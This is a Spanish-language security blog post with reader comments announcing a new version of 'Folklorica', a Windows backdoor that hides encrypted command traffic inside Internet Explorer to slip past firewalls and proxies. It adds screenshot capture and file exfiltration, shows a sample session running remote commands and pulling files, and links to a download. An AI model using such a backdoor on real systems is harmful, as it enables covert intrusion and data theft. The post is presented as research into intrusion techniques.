11 mayo 2011

Folklorica 2.0

Cada vez más están apareciendo ataques de tipo 'APT' que involucran a compañías bastante importantes, incluso algunas vinculadas directamente con el mundo de la seguridad (Lease HBGary, RSA ...).

La fisonomía de estos ataques suele ser bastante similar, un 0day dirigido hacia personal de la compañía y luego una suerte de backdoor para mantener el acceso.

Por tanto, el estudio de este tipo de herramientas y técnicas cada vez cobra mas interés. Hace tiempo presentábamos 'Folklorica' una backdoor que permitía mantener el acceso en un sistema Windows empleando Internet Explorer como vehículo hacia el exterior, entre sus funcionalidades, cabe destacar:
  • La comunicación cliente<-->servidor lleva una capa de cifrado lo que permite ocultar la actividad
  • Al Emplear Internet Explorer, muchos Firewalls no detectan esa conexión por originarse desde un programa confiable
  • En entornos donde el acceso se realiza mediante Proxy con autenticación, Folklorica sigue siendo efectiva como backdoor.
La anterior versión era una prueba de concepto para intercambiar comandos, en esta nueva versión se ha añadido:
  • Screenshots: Permite obtener una imagen de la pantalla y sacarla hacia el exterior
  • Download de ficheros remotos: Permite mover ficheros hacia el exterior 
En el anterior post publicábamos un vídeo explicando el uso, veamos ahora como sería una sesión con la nueva versión:

$ python server.py

Got Connection ! ('192.168.0.47', 2105)

cmd> screenshot

Screenshot mode

#######

File saved as screenshot.png

cmd> dir

Injecting Command [**]=======>

#######

 El volumen de la unidad V es HD2
 El n�mero de serie del volumen es: 04C0-0640

 Directorio de V:\ietroj\dist



10/05/2011  18:49    <DIR>          .
10/05/2011  18:49    <DIR>          ..
10/05/2011  17:44         5.557.364 ietroj.exe
21/02/2003  05:42           348.160 MSVCR71.dll
18/10/2006  09:18             4.608 w9xpopen.exe

               3 archivos      5.910.132 bytes

               2 dirs   4.318.494.720 bytes libres



cmd> GET MSVCR71.dll

Get mode

#######

File saved as GET MSVCR71.dll


La herramienta se puede descargar de aquí

7 comments :

Invitado dijo...

Gracias por la aportación Yago, he estado probando en el laboratorio pero al lanzar el servidorpython server.py  File "server.py", line 42    totalrec = b''                 ^SyntaxError: invalid syntax
la versión 1.0 conecta, pero aun con el puerto abierto, no llega a ejecutar los comandos

Hiram dijo...

Una vez borrada la "b" sobrante sigue sin ejecutarme los comandos, ni tan sólo en local

Yago Jesus dijo...

Podrías exponer el entorno desde el que estás ejecutando todo ? version de sistema operativo, explorer, versión de Python, etc etc etc. El software está probado, si falla tiene que ser por alguna diferencia en el escenario

Invitado dijo...

Buenos días Yago

Se ejcuta bajo un Xp-Pro SP3 tanto en cliente como en servidor, el IE es el 8 y el Python con el que se ejecuta el 2.5 

En el lab se cuenta con un Catalyst para red interna y un checkpoint para externa. (tanto en interna como externa no ejecuta comandos) Por otra parte se utiliza un bluecoat como proxy y arcsight como gestor de logs. Cabe destacar que la conexión se establece sin hacer saltar eventos/alarmas por ningún sitio.

Probaré a utlilzar una versión superior de Python y capturaré el tráfico generado.

Saludos

Yago Jesus dijo...

El servidor solo ha sido desarrollado y probado en Linux, intenta ejecutarlo en esa plataforma.

Invitado dijo...

perfecto, gracias por todo !!!

arangol dijo...

Buenos dias Yago, si me puedes ayudar con este error: AttributError: 'unicode' object has no attribute 'decode'